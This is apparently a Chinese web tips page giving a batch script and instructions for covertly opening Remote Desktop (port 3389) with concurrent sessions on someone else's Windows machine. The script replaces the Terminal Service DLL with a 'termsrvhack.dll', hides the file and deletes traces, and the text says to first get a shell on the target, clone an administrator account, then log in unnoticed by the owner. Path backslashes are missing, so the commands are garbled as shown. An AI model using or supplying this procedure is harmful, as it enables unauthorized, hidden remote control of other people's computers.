@reg add HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLMSYSTEMCurrentControlSetcontrolterminal" "serverLicensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLMSYSTEMCurrentControlSetServicesTermServiceParameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%system32termsrvhack.dll /f
@copy c:termsrvhack.dll c:windowssystem32dllcachetermsrvhack.dll
@attribhsr c:windowssystem32dllcachetermsrvhack.dll
@copy c:termsrvhack.dll c:windowssystem32termsrvhack.dll
@attribhsr c:windowssystem32termsrvhack.dll
@shutdown -a
@del c:termsrvhack.dll
@net start termservice
@del c:3389.bat
【批处理注册表不用重启开3389多用户】其中“pid"是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到 。当然win2000和以下系统是没有tasklist命令的 。
具体的操作方法是
先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户 。
接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理 。提示成功!
最后打开登陆器,3389终端登陆!
说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的,他玩他的,你玩你的,呵呵,爽伐?!
推荐阅读
- 注册表是什么
- DOS下修改和恢复注册表的技巧
- 立即刷新注册表命令
- 系统不正常?快速还原注册表的方法
- 安全模式下通过注册表修改屏幕刷新率和分辨率
- 修改注册表禁止安装软件
- 修改注册表 让Win2008操作更易上手
- 如何锁死注册表,锁死后如何打开
- 怎样锁定注册表
- 注册表中获取用户的sid